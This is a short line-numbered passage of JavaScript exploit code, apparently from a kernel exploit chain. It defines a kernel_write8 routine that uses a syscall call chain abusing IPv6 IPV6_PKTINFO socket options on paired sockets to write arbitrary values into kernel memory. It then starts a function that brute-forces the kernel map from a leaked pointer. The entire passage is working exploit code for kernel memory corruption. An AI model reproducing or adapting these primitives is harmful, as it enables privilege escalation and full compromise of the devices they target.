| 656 | } |
| 657 | |
| 658 | function kernel_write8(address, value) { |
| 659 | { |
| 660 | chain.push_write8(pktinfo_buffer, address); |
| 661 | chain.push_write8(pktinfo_buffer.add32(0x8), 0); |
| 662 | chain.push_write8(pktinfo_buffer.add32(0x10), 0); |
| 663 | chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); |
| 664 | chain.fcall(syscalls[118], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, pktinfo_buffer_len); |
| 665 | chain.push_write8(pktinfo_buffer, value); |
| 666 | chain.fcall(syscalls[105], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); |
| 667 | } |
| 668 | chain.run(); |
| 669 | } |
| 670 | |
| 671 | function brute_force_kernel_map() { |
| 672 | var attempt = new int64(((leaked_pktopts_address.low & 0xFE000000) + VM_MAP_PMAP_OFFSET), leaked_pktopts_address.hi); |